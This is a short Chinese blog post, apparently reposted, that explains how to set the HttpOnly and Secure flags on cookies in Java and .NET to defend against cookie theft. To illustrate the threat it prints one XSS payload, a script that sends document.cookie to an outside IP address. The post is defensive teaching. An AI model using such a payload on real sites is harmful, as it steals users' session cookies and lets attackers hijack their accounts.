使用HttpOnly提升Cookie安全性

浏览器可以通过js获取到cookie,拿个这个cookie,就相当于拿到了访问的服务器的权限了。黑客如下的xss攻击:

<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>

在防止此类问题,可以不允许浏览器拿到cookie,那么我们可以在我们不希望浏览器得到的cookie上Set-Cookie的时候就要把HttpOnly设置true,这样浏览器就拿不到cookie信息。

在java中可以通过response.addHeader("Set-Cookie","userName=junshan; Version=1;Domain=xulingbo.net;Expires=1000;Secure;HttpOnly"),形式设置。

或者:

 Cookie cookie = new Cookie("test","hello");
        cookie.setHttpOnly(true);
        cookie.setSecure(true);
        response.addCookie(cookie);

在.Net 中可以通过

   if (cookie == null)
            {
                cookie = new HttpCookie(strName);
            }
            cookie.HttpOnly = true;
            cookie.Secure = true;
            cookie.Value = UrlHelper.UrlEncode(strValue);
            HttpContext.Current.Response.AppendCookie(cookie);

引用:

http://blog.csdn.net/zzzmmmkkk/article/details/10862949

原文地址:https://www.cnblogs.com/nele/p/6285343.html